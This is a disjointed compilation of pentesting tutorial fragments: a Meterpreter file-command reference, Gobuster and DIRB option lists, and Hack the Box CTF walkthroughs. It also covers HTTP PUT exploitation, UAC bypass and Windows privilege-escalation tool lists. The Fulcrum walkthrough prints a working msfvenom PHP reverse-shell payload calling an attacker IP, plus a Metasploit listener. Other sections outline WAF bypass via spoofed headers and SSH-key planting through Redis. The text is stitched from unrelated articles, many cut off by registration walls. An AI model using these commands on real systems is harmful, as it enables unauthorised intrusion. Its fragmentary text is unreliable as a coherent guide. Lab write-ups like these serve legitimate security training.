Hey Friends!
Did you know that meterpreter is known as Hacker’s Swiss Army Knife!!
Well! Now you do.
Meterpreter, a highly developed payload that can be extended dynamically, is known to be Hacker’s Swiss Army Knife. It uses a reflective DLL injection technique to further compromise the target after the attack. Meterpreter is known to influence the functionality of the Metasploit framework. It can help in doing a lot many things. Some of these include covering tracks after the attack, accessing the operating system, and dumping hashes.
This article discusses meterpreter’s Stdapi File System Commands. There are 21 commands including cat, cd, pwd, and checksum. Figure 1 summarises them:

Let’s start discussing them.
cat
It is the very first command in the group of Stdapi File System Commands. It reads the contents of a file to the screen. In other words, cat displays a file’s contents. cat command in meterpreter is same as cat command used in Unix/Linux systems.
The syntax of cat in meterpreter is as follows:
cat filename
1
cat filename

cd and pwd
Though cd and pwd commands are two separate commands, they are usually used together. cd stands for change directory and pwd stands for print working directory. You use pwd command to check the directory you are working in. You can change this directory using the cd command. By default, the current working directory is the one where the connection was established.
The syntaxes of pwd and cd commands in meterpreter are as follows:
pwd
1
pwd
cd <path of the folder to change to>

checksum
This command retrieves the checksum of a file. The syntax of the checksum command is as follows:
checksum [md5/sha1] file1 file2 file 3...
1
checksum [md5/sha1] file1 file2 file 3...

cp
This command copies the content of the old file to the new file. The syntax of the cp command is as follows:
cp <oldfile> < newfile>
1
cp <oldfile> < newfile>

dir
This command lists files. It is an alias for the ls command. It provides crucial details related to any file or directories such as File Permissions, Size of File, Last modified date and file Name & Type. The syntax of the dir command is as follows:
dir
1
dir

download
This command downloads remote files and directories from a remote location to the local machine. The syntax of download command is as follows:
download [options] src1 src 2 src3... destination
1
download [options] src1 src 2 src3... destination

edit
This command edits a file. The syntax of edit command is as follows:
edit <file name>
1
edit <file name>

When you press the Enter key, the screen displayed is as shown in the below image:

After editing the file, type: x to save the changes and exit, as shown in the below image

getlwd
This command prints the working directory on the local machine that is, in our case it is Kali Linux. The syntax of the getlwd command is as follows:
getlwd
1
getlwd

getwd
This command prints the working directory. The syntax of the getwd command is as follows:
getwd
1
getwd

lcd
This command changes the working directory of the local machine that is, in our case it is Kali Linux. The syntax of lcd is as follows:
lcd
1
lcd

You can see that local working directory changes to /root/Desktop
lls
This command lists files on the local machine that is, in our case it is Kali Linux. The syntax of lls command is as follows:
lls
1
lls

lpwd
This command prints the working directory on the local machine that is, in our case it is Kali Linux. It is the same as the getlwd command. The syntax of the lpwd command is as follows:
lpwd
1
lpwd

ls
This command lists files. The syntax of the ls command is as follows:
ls
1
ls

mkdir
This command makes directory. The syntax of the mkdir command is as follows:
mkdir dir1 dir2 dir3...
1
mkdir dir1 dir2 dir3...

mv
This command moves a file from source to destination and it can also be used to rename the file as shown.  The syntax of the mv command is as follows:
mv oldfile newfile
1
mv oldfile newfile

You can see the moved contents using cat command.
pwd
This command prints the working directory. The syntax of the pwd command is as follows:
pwd
1
pwd

rm
This command deletes the specified file. The syntax of the rm file is as follows:
rm file1 [file2...]
1
rm file1 [file2...]

You can see the list of files before and after using rm command.
rmdir
This command removes the directory. The syntax of the rmdir command is as follows:
rmdir dir1 dir 2 dir 3...
1
rmdir dir1 dir 2 dir 3...

search
This command search for files. The syntax of the search command is as follows:
search -f *.doc
1
search -f *.doc

show_mount
This command list all mount points/logical drives. The syntax of the show_mount command is as follows:
show_mount
1
show_mount

upload
This command uploads a file or directory. The syntax of the upload command is as follows:
upload [options] src1 src2 src3... destination
1
upload [options] src1 src2 src3... destination

You can see the uploaded file, as shown in the below image:


Hello Friend!! Today we are going demonstrate URLs and DNS brute force attack for extracting Directories and files from inside URLs and sub-domains from DNS by using “Gobuster-tool”.
Table of Content

• Introduction & Installation
  
• Using Wordlist for Directory Brute-Force
  
• Obtaining Full Path for a directory or file
  
• Hide Status Code
  
• Verbose Mode
  
• Identify Content-Length
  
• Disable Banner
  
• User-Agent Mode
  
• Obtain Result with Specify Status Code
  
• Timeout
  
• Appending Forward slash
  
• Saving Output Result inside Text File
  
• Enumerating Directory with Specific Extension List
  
• Follow Redirect
  
• HTTP AUTHORIZATION (-u username: password)
  
• DNS Mode
  
• Set Threads Number
  
• Obtain Sub domain IPs
  
• Force Processing Brute Force
  
• Hide Process of Extracting
  
• Extracting CNAME Records
  

• -fw – force processing of a domain with wildcard results.
  
• -np – hide the progress output.
  
• -m <mode> – which mode to use, either dir or dns (default: dir).
  
• -q – disables banner/underline output.
  
• -t <threads> – number of threads to run (default: 10).
  
• -u <url/domain> – full URL (including scheme), or base domain name.
  
• -v – verbose output (show all results).
  
• -w <wordlist> – path to the wordlist used for brute forcing (use – for stdin).
  

• -a <user agent string> – specify a user agent string to send in the request header.
  
• -c  – use this to specify any cookies that you might need (simulating auth).
  
• -e – specify the extended mode that renders the full URL.
  
• -f – append / for directory brute forces.
  
• -k – Skip verification of SSL certificates.
  
• -l – show the length of the response.
  
• -n – “no status” mode, disables the output of the result’s status code.
  
• -o <file> – specify a file name to write the output to.
  
• -p <proxy url> – specify a proxy to use for all requests (scheme much match the URL scheme).
  
• -r – follow redirects.
  
• -s <status codes> – comma-separated set of the list of status codes to be deemed a “positive” (default: 200,204,301,302,307).
  
• -x <extensions> – list of extensions to check for, if any.
  
• -P  – HTTP Authorization password (Basic Auth only, prompted if missing).
  
• -U  – HTTP Authorization username (Basic Auth only).
  
• -to  – HTTP timeout. Examples: 10s, 100ms, 1m (default: 10s).
  

• -cn – show CNAME records (cannot be used with ‘-i’ option).
  
• -i – show all IP addresses for the result.
  

                         

• Powershell Attack Instruction
  
• HTA Attack Instruction
  
• Macro Attack Instruction
  

• Introduction to DIRB
  
• Utilizing Multiple Wordlist for Directory Traversing
  
• Default working of Dirb
  
• Enumerating Directory with Specific Extension List
  
• Save Output to Disk
  
• Ignore Unnecessary Status-Code
  
• Default Working Vs Not stop on WARNING messages Working
  
• Speed delay
  
• Not recursively (-r)
  
• Show NOT Existence Pages
  
• Extension List (-X parameter) Vs Extension Header (-H parameter)
  
• Not forcing an ending ‘/’ on URLs (-t)
  
• HTTP Authentication (-u username: password)
  

Today we are going to solve another CTF challenge “DevOops”. DevOops is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Medium
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of DevOops is 10.10.10.91
Table of Content
Scanning

• Open ports and Running services (Nmap)
  

• Web Directory spidering
  
• Upload XML file
  

• Intercept Browser request (Burp Suite)
  
• Access /etc/passwd file
  
• Steal SSH RSA key
  

• Capture user.txt flag
  

• Capture root.txt flag
  

• Introduction
  
• Installation
  
• Importance
  
• Terminology
  
• Demo
  
• Conclusion
  

• Listener: the listener is a process which listens for a connection from the machine we are attacking. This helps Empire send the loot back to the attacker’s computer.
  
• Stager: A stager is a snippet of code that allows our malicious code to be run via the agent on the compromised host.
  
• Agent: An agent is a program that maintains a connection between your computer and the compromised host.
  
• Module: These are what execute our malicious commands, which can harvest credentials and escalate our privileges as mentioned above.
  

• Global Recognition
  

• (ISC)² Membership
  

• Job Competency
  

• Increased Earning Potential
  

• High Demand for Security Experts
  

• Introduction to HTTP PUT Method
  
• Scanning HTTP PUT Method (Nikto)
  
• Exploiting PUT Method Using Cadaver
  
• Exploiting PUT Method Using Nmap
  
• Exploiting PUT Method Using Poster
  
• Exploiting PUT Method Using Metasploit
  
• Exploiting PUT Method Using Burpsuite
  
• Exploiting PUT Method Using Curl
  

Hi Friends, today we will walk through various HTTP Protocol methods and the tools used to extract those available HTTP methods in a web server. As we are already aware that the HTTP protocol comprises of a number of methods that can be utilized to not only gather the information from the web server but can also perform specific actions on the web server. These techniques and methods are helpful for the web application developers in the deployment and testing stage of web applications.
GET and POST is the most well-known methods that are used to access and submit information provided by a web server, respectively. HTTP Protocol allows various other methods as well, like PUT, CONNECT, TRACE, HEAD, DELETE. These methods can be used for malicious purposes if the web server is left misconfigured and hence poses a major security risk for the web application, as this could allow an attacker to modify the files stored on the web server.
OPTIONS: The OPTIONS method is used to request the available HTTP methods on a web server.
GET: GET request is the most common and widely used methods for the websites. This method is used to retrieve the data from the web server for a specific resource. As the GET method only requests for the data and doesn’t modify the content of any resources, it’s considered to be safe.
POST: POST requests are used to send (or submit) the data to the web server so as to create or update a resource. The information sent is stored in the request body of the HTTP request and processed further. An example illustrating the same is “Contact us” form page on a website. When we fill a form and submit it, the input data is then stored in the response body of the request and sent across to the server.
PUT: The PUT method allows the end-user (client) to upload new files on the web server. An attacker can exploit it by uploading malicious files or by using the victim’s server as a file repository.
CONNECT: The CONNECT method could allow a client to use the web server as a proxy.
TRACE: This method echoes back to the client, the same string which has been sent across to the server, and is used mainly for debugging purposes.
HEAD: The HEAD method is almost similar to GET, however without the message-body in the response. In other words, if the HTTP request GET /products return a list of products, then the HEAD /products will trigger a similar HTTP request, however, won’t retrieve the list of products.
DELETE: This method enables a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to perform a DoS attack.
Now let us use some tools to identify the HTTP methods enabled or supported by the web server
Metasploit
Metasploit Framework is a well-known platform for developing, testing, and executing exploits. It is an open source tool for performing various exploits against the target machines.
Metasploit has in-built auxiliary modules dedicated to scanning HTTP methods. Through the Metasploit framework command line (CLI), we can identify the HTTP Options available on the target URL as follows:
use auxiliary/scanner/http/options
set rhosts 192.168.1.109
set rport 80
exploit
1
2
3
4
use auxiliary/scanner/http/options
set rhosts 192.168.1.109
set rport 80
exploit

cURL
cURL is a command line tool to get or send the data using the URL syntax and is compatible with various well-known protocols (HTTPS, FTP, SCP, LDAP, Telnet etc.) along with command line (CLI) options for performing various tasks (Eg: User authentication , FTP uploading , SSL connections etc). The cURL utility by default comes installed in most of the distributions. However if in case, cURL is not installed, then we can install the same via apt-get install curl command. For more details refer the below URL

[To see content please register here]

• Open ports and Running services (Nmap)
  

• Identify finger users (Metasploit)
  

• SSH Brute force
  
• Access shell using SSH
  

• Method 1
  
• Method 2
  
• Method 3
  
• Capture root.txt flag
  

• Network Scanning (Netdiscover, Nmap)
  
• Obtaining Activation Code (Bash script)
  
• Web Directory Enumeration (Dirb)
  
• Bypass WAF (Burp Suite)
  
• Exploit Remote Code Execution
  
• Upload Reverse_ shell
  
• Obtain Reverse connection (Netcat)
  
• Abusing Redis for privilege escalation
  
• Capture the flag
  

1. X-Originating-IP: 127.0.0.1
   
2. X-Forwarded-For: 127.0.0.1
   
3. X-Remote-IP: 127.0.0.1
   
4. X-Remote-Addr: 127.0.0.1
   

1. Intercept the HTTP request of Execute Command page and go to Options.
   
2. Explore Match and Replace setting then click to edit option to modify the request header.
   
3. A small window will pop-up for Edit match/replace rule, here paste “X-Forwarded-For: 127.0.0.1” in the replace text field.
   
4. Click on Ok and forward the intercepted request.
   

1. Generate a malicious RSA keypair with help of keygen.
   

1. Prepare the public key by adding newlines with the help of the following command
   

1. Load the malicious public key into redis
   

1. Set path to dump the content with the help of the following command
   

1. Configure the dbfilename as authorized_keys
   

1. Save the configuration and exit.
   

Hello friends!! Today we are going to solve another CTF challenge “Canape” which is available online for those who want to increase their skill in penetration testing and black box testing. Canape is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.
nmap -p- -sV 10.10.10.70
1
nmap -p- -sV 10.10.10.70
From the given below image, you can observe we found port 80 and 65535 are open on the target system.

As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.

We don’t find anything on the webpage, so we run the dirb scan to enumerate the directories. The target machine responded with 200 OK for every request but for the /.git/Head directory the size of the response changed.
dirb

[To see content please register here]

• Network scanning (Nmap)
  
• Web Directory Enumeration (Dirb)
  
• Found RCE Vulnerability
  
• Digging out JSON Web Token from inside ._pw_
  
• Obtain password by using “c-jwt-cracker” for JSON Web Token
  
• Generate elf payload (msfvenom)
  
• Upload the backdoor inside /tmp
  
• Obtain reverse session (Netcat)
  
• Go for root access
  
• Use environment shell to spawn proper tty shell
  
• Capture the Flag
  

1. Port Forwarding
   
2. Disable Password-Based Login And Using PGP Key (Public Key)
   
3. Disable Root Login and Limit SSH User’s Access
   
4. Google Authenticator
   
5. Time Scheduling
   
6. Disable Empty Passwords
   

1. Add # to @include common-auth
   
2. Add Line (auth required pam_google_authenticator.so) under @include common-password
   

Hello friends!! Today we are going to solve another CTF challenge “Fulcrum” which is available online for those who want to increase their skill in penetration testing and black box testing. Fulcrum is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Fulcrum is 10.10.10.62 so let’s begin with nmap port enumeration.
We need to do a nmap version scan so that we can get better information about the open ports.
nmap -sV -p- 10.10.10.62
1
nmap -sV -p- 10.10.10.62
From the given below image, you can observe that we find ports 4, 22, 80, 88, 9999, 56423 are open.

As port 4 is running Nginx server, the Nginx server hosts the webpage to view it we will open it in our browser to find a page that says it is under maintenance along with a link that says try again.

We will click on the link and find that there is a page parameter that we found to be vulnerable to LFI.

Back to the nmap scan we also saw that port 80 is running Nginx server, we open it in our browser and find a server error This was proved to be a dead end

Let’s try our lock on Port 88 which I also running nginx server, we open the IP address in our browser on port 88 and find a phpmyadmin page. As we don’t have any hint or clue for the credentials, we will have to try another port.

Port 9999 is running nginx server, we open the IP address on port 9999 in our browser and find a pfsense login page.

Port 56423 is running nginx, so visiting the service on Port 56423 brings us to what appears to be some sort of “API” endpoint as we receive a JSON response.

It is possible that this page is vulnerable to XXE, so we create a shell so that can upload and execute it on the target machine.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw > shell.php
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw > shell.php
After creating a shell, we start an HTTP server on our system using python.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

After creating the shell, we set up our listener using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

Using BurpSuite, we will capture the request, and upload the php shell. But we are unable to get a reverse shell.

We then try to exploit the page we find on port 4 using RFI and were able to successfully get a reverse shell.

We get the reverse shell, but it was not a proper shell. We will spawn a tty shell using python.
python -c "import pty; pty.spawn('/bin/bash')"
1
python -c "import pty; pty.spawn('/bin/bash')"

After spawning a tty shell, we find a file called ‘Fulcrum_Upload_to_Corp.ps1’ we open and find it is a PowerShell script to encrypt the password it goes through some functions.

Now we copy the content of the script and paste it in a site called

[To see content please register here]

• What is UAC?
  
• Working of UAC
  

1. Windows Escalate UAC Protection Bypass
   
2. Windows Escalate UAC Protection Bypass (In Memory Injection)
   
3. Windows UAC Protection Bypass (Via FodHelper Registry Key)
   
4. Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   
5. Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   

• Registry modifications (if the registry key is under e.g. HKEY_LOCAL_MACHINE (since it affects more than one user) it will be read-only)
  
• Loading a device driver
  
• DLL injection
  
• Modifying system time (clock)
  
• Modifying User Account Control settings (via Registry, it can be enabled/disabled but you need the correct privileges to do this)
  
• Modify protected directories (e.g. Windows folder, Program Files)
  
• Scheduled tasks (e.g. to auto-start with administrator privileges)
  

• Windows-Exploit-suggester
  
• Windows ClientCopyImage Win32k Exploit
  
• Windows TrackPopupMenu Win32k NULL Pointer Dereference
  
• Windows SYSTEM Escalation via KiTrap0D
  
• Windows Escalate Task Scheduler XML Privilege Escalation
  
• MS16-016 mrxdav.sys WebDav Local Privilege Escalation
  
• EPATHOBJ::pprFlattenRec Local Privilege Escalation
  
• MS13-053: NTUserMessageCall Win32k Kernel Pool Overflow
  
• MS16-032 Secondary Logon Handle Privilege Escalation
  
• RottenPotato
  

1. Port scanning
   
2. Using LFI to find the username
   
3. Gaining encrypted password file using LFI
   
4. Decrypting password file
   
5. Logging in to SSH using a decrypted password
   
6. Transferring ZIP file and extracting to find a secret file
   
7. Discovery of VNC on the machine
   
8. VNC tunneling over SSH to get a root shell
   
9. Grabbing flag
   

scp [email protected]ecret.zip /root/Desktop/
cd Desktop
unzip secret.zip
1
2
3
scp [email protected]ecret.zip /root/Desktop/
cd Desktop
unzip secret.zip

We all know that after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to the higher-privileged shell.
Table of Content

• Introduction
  
• Vectors of Privilege Escalation
  
• Windows-Exploit-Suggester
  
• Windows Gather Applied Patches
  
• Sherlock
  
• JAWS – Just Another Windows (Enum) Script
  
• PowerUp
  

• The version of the operating system
  
• Any Vulnerable package installed or running
  
• Files and Folders with Full Control or Modify Access
  
• Mapped Drives
  
• Potentially Interesting Files
  
• Unquoted Service Paths
  
• Network Information (interfaces, arp, netstat)
  
• Firewall Status and Rules
  
• Running Processes
  
• AlwaysInstallElevated Registry Key Check
  
• Stored Credentials
  
• DLL Hijacking
  
• Scheduled Tasks
  

• Network Information (interfaces, arp, netstat)
  
• Firewall Status and Rules
  
• Running Processes
  
• Files and Folders with Full Control or Modify Access
  
• Mapped Drives
  
• Potentially Interesting Files
  
• Unquoted Service Paths
  
• Recent Documents
  
• System Install Files
  
• AlwaysInstallElevated Registry Key Check
  
• Stored Credentials
  
• Installed Applications
  
• Potentially Vulnerable Services
  
• MuiCache Files
  
• Scheduled Tasks
  

• Get-ServiceUnquoted : – returns services with unquoted paths that also have a space in the name.
  
• Get-ModifiableServiceFile :- returns services where the current user can write to the service binary path or its config.
  
• Get-ModifiableService : – returns services the current user can modify.
  
• Get-ServiceDetail :- returns detailed information about a specified service.
  

• Invoke-ServiceAbuse : –  modifies a vulnerable service to create a local admin or execute a custom command.
  
• Write-ServiceBinary : – writes out a patched C# service binary that adds a local admin or executes a custom command.
  
• Install-ServiceBinary :- replaces a service binary with one that adds a local admin or executes a custom command.
  
• Restore-ServiceBinary :- restores a replaced service binary with the original executable.
  

• Find-ProcessDLLHijack : – finds potential DLL hijacking opportunities for currently running processes
  
• Find-PathDLLHijack :- finds service %PATH% DLL hijacking opportunities
  
• Write-HijackDll : – writes out a hijackable DLL
  

• Get-RegistryAlwaysInstallElevated:- checks if the AlwaysInstallElevated registry key is set
  
• Get-RegistryAutoLogon :- checks for Autologon credentials in the registry
  
• Get-ModifiableRegistryAutoRun :- checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns.